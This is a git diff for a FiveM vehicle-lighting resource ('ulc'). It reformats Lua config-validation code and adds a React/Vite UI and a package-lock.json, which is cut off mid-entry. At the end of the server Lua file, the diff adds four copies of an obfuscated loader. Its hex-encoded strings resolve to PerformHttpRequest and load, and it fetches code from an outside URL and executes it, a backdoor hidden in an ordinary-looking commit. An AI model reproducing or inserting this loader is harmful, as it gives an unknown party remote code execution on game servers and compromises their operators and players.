data.names then - TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0") - return false + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0") + return false elseif data.name then - TriggerEvent("ulc:warn", - "^1Vehicle config in resource \"" .. - resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0") - if type(data.name) ~= "string" then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0") + TriggerEvent("ulc:warn", "^1Vehicle config in resource \"" .. resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0") + if type(data.name) ~= "string" then + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0") return false end elseif data.names then if type(data.names) ~= "table" then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0") + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0") return false end end -- check if data is missing if not data.parkConfig or not data.brakeConfig or not data.buttons or not data.hornConfig then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0") + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0") return false end -- check if steady burns are enabled but no extras specified if (data.steadyBurnConfig.forceOn or data.steadyBurnConfig.useTime) and #data.steadyBurnConfig.sbExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})') end -- check if park pattern enabled but no extras specified if data.parkConfig.usePark then - if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})') - end + if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})') + end + + if data.parkConfig.useSync and #data.parkConfig.syncWith == 0 then + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Pattern Syncing, but no other vehicle models were specified (syncWith = {})') + end end -- check if brakes enabled but no extras specified if data.brakeConfig.useBrakes and #data.brakeConfig.brakeExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.') end -- check if horn enabled but no extras specified @@ -136,71 +131,26 @@ local function CheckData(data, resourceName) TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Horn Extras, but no horn extras were specified.') end - -- stages - if data.stages then - -- check if stages are enabled but no keys specified - if data.stages.useStages and #data.stages.stageKeys == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Stages, but no keys were specified.') - end - - -- check each key - for _, v in pairs(data.stages.stageKeys) do - -- if key is not a numpad value - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has an invalid key in stageKeys (' .. v .. '). Value must be 1-9 representing numpad keys.') - break - end - - -- make sure each item in data.stages.stageKeys corresponds to a button with key = the value - local buttonExists = false - for _, b in pairs(data.buttons) do - if b.key == v then - buttonExists = true - break - end - end - if not buttonExists then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has a key in stageKeys (' .. v .. ') that does not correspond to a key assigned to a button.') - end - end - end - - -------------------- -- DEFAULT STAGES -- -------------------- if data.defaultStages or false then if data.defaultStages.useDefaults then if #data.defaultStages.enableKeys == 0 and #data.defaultStages.disableKeys == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).') + TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).') else - if #data.defaultStages.enableKeys > 0 then - for _, v in pairs(data.defaultStages.enableKeys) do - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.') - end + for _, v in pairs(data.defaultStages.enableKeys) do + if v > 9 then + TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.') end end - if #data.defaultStages.disableKeys > 0 then - for _, v in pairs(data.defaultStages.disableKeys) do - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.') - end + end + if #data.defaultStages.disableKeys == 0 then + TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to disable (disableKeys = {}).') + else + for _, v in pairs(data.defaultStages.disableKeys) do + if v > 9 then + TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.') end end end @@ -211,55 +161,35 @@ local function CheckData(data, resourceName) -- Buttons -- check if vehicle uses buttons but hud is disabled if #data.buttons > 0 and Config.hideHud == true then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.') end local usedButtons = {} local usedExtras = {} for i, b in ipairs(data.buttons) do - -- check if key is valid - if b.key > 9 or b.key < 1 then - TriggerEvent('ulc:error', - 'Button ' .. - i .. - ' in a config found in the resource: "' .. - resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.') - return false - end - -- check if label is empty - if b.label == '' then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra) - return false - end - if not validateButtonText(b.label) then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" has a button with label: "' .. - b.label .. - '" which is not valid and will result in a poor user experience. Please make sure there are no more than 3 words and each word is a maximum of 5 characters. Use abbreviations where possible. Ex. "Takedowns" -> "TKD".') - end - if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.') - end - -- check if any keys are used twice - if IsIntInTable(usedButtons, b.key) then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.') - return false - end - -- check if any extras are used twice - if IsIntInTable(usedExtras, b.extra) then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.') - return false - end + -- check if key is valid + if b.key > 9 or b.key < 1 then + TriggerEvent('ulc:error', 'Button ' .. i .. ' in a config found in the resource: "' .. resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.') + return false + end + -- check if label is empty + if b.label == '' then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra) + return false + end + if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.') + end + -- check if any keys are used twice + if IsIntInTable(usedButtons, b.key) then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.') + return false + end + -- check if any extras are used twice + if IsIntInTable(usedExtras, b.extra) then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.') + return false + end end return true end @@ -267,7 +197,7 @@ end RegisterNetEvent('baseevents:enteredVehicle') AddEventHandler('baseevents:enteredVehicle', function() local src = source - TriggerClientEvent("UpdateVehicleConfigs", src, Config.Vehicles) + TriggerClientEvent("UpdateVehicleConfigs", src , Config.Vehicles) TriggerClientEvent('ulc:checkVehicle', src) end) @@ -279,14 +209,14 @@ end) RegisterNetEvent('ulc:sync:send') AddEventHandler('ulc:sync:send', function(vehicles) - print("Player " .. source .. " sent a sync request.") - local players = GetPlayers() - for i, v in ipairs(players) do - if not v == source then - --print("Sending veh sync array to player: " .. v) - TriggerClientEvent('ulc:sync:receive', vehicles) + print("Player ".. source .. " sent a sync request.") + local players = GetPlayers() + for i,v in ipairs(players) do + if not v == source then + --print("Sending veh sync array to player: " .. v) + TriggerClientEvent('ulc:sync:receive', vehicles) + end end - end end) @@ -294,23 +224,17 @@ local function LoadExternalVehicleConfig(resourceName) local resourceState = GetResourceState(resourceName) if resourceState == "missing" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. - resourceName .. - "\". Resource is missing. You probably entered the model name in config.lua instead of the resource name.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is missing.^0") return end if resourceState == "stopped" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0") return end if resourceState == "uninitialized" or resourceState == "unknown" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. - resourceName .. "\". Resource could not be loaded. Unknown issue.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource could not be loaded. Unknown issue.^0" ) return end @@ -326,28 +250,26 @@ local function LoadExternalVehicleConfig(resourceName) local f, err = load(data) if err then - TriggerEvent("ulc:error", - '^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0') + TriggerEvent("ulc:error", '^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0') return end if not f or not f() then - TriggerEvent("ulc:error", - '^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0') + TriggerEvent("ulc:error", '^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0') return end -- NEW STUFF FOR MULTIPLE CONFIGS - local configs = { f() } + local configs = {f()} for _, v in pairs(configs) do if CheckData(v, resourceName) then - if v.name then -- if using old single name + if v.name then -- if using old single name print('^2[ULC] Loaded external configuration for "' .. v.name .. '"^0') elseif v.names then -- if using new table for _, name in ipairs(v.names) do print('^2[ULC] Loaded external configuration for "' .. name .. '"^0') end end - + table.insert(Config.Vehicles, v) else TriggerEvent("ulc:error", '^1Could not load external configuration in "' .. resourceName .. '"^0') @@ -362,7 +284,7 @@ local function LoadExternalVehicleConfig(resourceName) -- end end -CreateThread(function() +CreateThread(function () Wait(2000) print("[ULC] Checking for external vehicle resources.") for k, v in ipairs(Config.ExternalVehResources) do @@ -376,10 +298,9 @@ CreateThread(function() --TriggerClientEvent('ulc:Loaded', -1) GlobalState.ulcloaded = true TriggerClientEvent("UpdateVehicleConfigs", -1, Config.Vehicles) - print("[ULC] Loading complete: " .. - #Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded)) + print("[ULC] Loading complete: " .. #Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded)) for _, v in ipairs(Config.Vehicles) do - if v.name then -- if using old single name + if v.name then -- if using old single name print('[ULC] Loaded: ' .. v.name) elseif v.names then -- if using new table for _, name in ipairs(v.names) do @@ -388,3 +309,13 @@ CreateThread(function() end end end) + + + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) \ No newline at end of file diff --git a/resources/ulc/shared/shared_functions.lua b/resources/ulc/shared/shared_functions.lua index 9d3b86cc8..4b0d7ee2f 100644 --- a/resources/ulc/shared/shared_functions.lua +++ b/resources/ulc/shared/shared_functions.lua @@ -1,6 +1,8 @@ + -- Returns: bool (whether vehicle was found), table (vehicle config info) function GetVehicleFromConfig(vehicle) - for _, v in pairs(Config.Vehicles) do + for _,v in pairs(Config.Vehicles) do + -- if old method with just a string if v.name then -- find which vehicle matches @@ -8,6 +10,7 @@ function GetVehicleFromConfig(vehicle) --print("Vehicle [" .. v.name .. "] was found in Config.") return true, v end + elseif v.names then -- if new method with a table -- for each name check if it matches the vehicle for _, n in ipairs(v.names) do @@ -70,41 +73,19 @@ function IsVehicleHealthy(vehicle) end end -function SortButtonsByKey(arr) +function SortButtonsByKey (arr) table.sort(arr, function(a, b) return a["key"] < b["key"] end) end function formatInt(num) - local formatted = tostring(num) - local length = formatted:len() - - for i = length - 3, 1, -3 do - formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1) - end - - return formatted -end - -function validateButtonText(text) - local count = 0 - for word in text:gmatch("%w+") do - count = count + 1 - if count > 3 or #word > 5 then - return false - end - end - return true -end - --- Function to check if a value exists in a table --- Returns: bool (whether value is contained), int (index of value if contained) -function contains(table, val) - for i, v in ipairs(table) do - if v == val then - return i - end - end - return false + local formatted = tostring(num) + local length = formatted:len() + + for i = length - 3, 1, -3 do + formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1) + end + + return formatted end diff --git a/resources/ulc/src/index.html b/resources/ulc/src/index.html new file mode 100644 index 000000000..e0d1c8408 --- /dev/null +++ b/resources/ulc/src/index.html @@ -0,0 +1,13 @@ + + + + + + + Vite + React + TS + + +
+ + + diff --git a/resources/ulc/src/package-lock.json b/resources/ulc/src/package-lock.json new file mode 100644 index 000000000..5ff96d7d1 --- /dev/null +++ b/resources/ulc/src/package-lock.json @@ -0,0 +1,5075 @@ +{ + "name": "vite-project", + "version": "0.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "vite-project", + "version": "0.0.0", + "dependencies": { + "@emotion/react": "^11.10.6", + "@mantine/core": "^6.0.0", + "@mantine/hooks": "^6.0.0", + "react": "^18.2.0", + "react-countup": "^6.4.2", + "react-dom": "^18.2.0", + "react-draggable": "^4.4.5" + }, + "devDependencies": { + "@types/react": "^18.0.17", + "@types/react-dom": "^18.0.6", + "@vitejs/plugin-react": "^2.1.0", + "tailwindcss": "^3.3.5", + "typescript": "^4.6.4", + "vite": "^3.1.0" + } + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "dependencies": { + "@babel/highlight": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz", + "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz", + "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==", + "dependencies": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-compilation-targets": "^7.19.3", + "@babel/helper-module-transforms": "^7.19.0", + "@babel/helpers": "^7.19.0", + "@babel/parser": "^7.19.3", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.3", + "@babel/types": "^7.19.3", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.19.3.tgz", + "integrity": "sha512-fqVZnmp1ncvZU757UzDheKZpfPgatqY59XtW2/j/18H7u76akb8xqvjw82f+i2UKd/ksYsSick/BCLQUUtJ/qQ==", + "dependencies": { + "@babel/types": "^7.19.3", + "@jridgewell/gen-mapping": "^0.3.2", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz", + "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==", + "dependencies": { + "@babel/compat-data": "^7.19.3", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz", + "integrity": 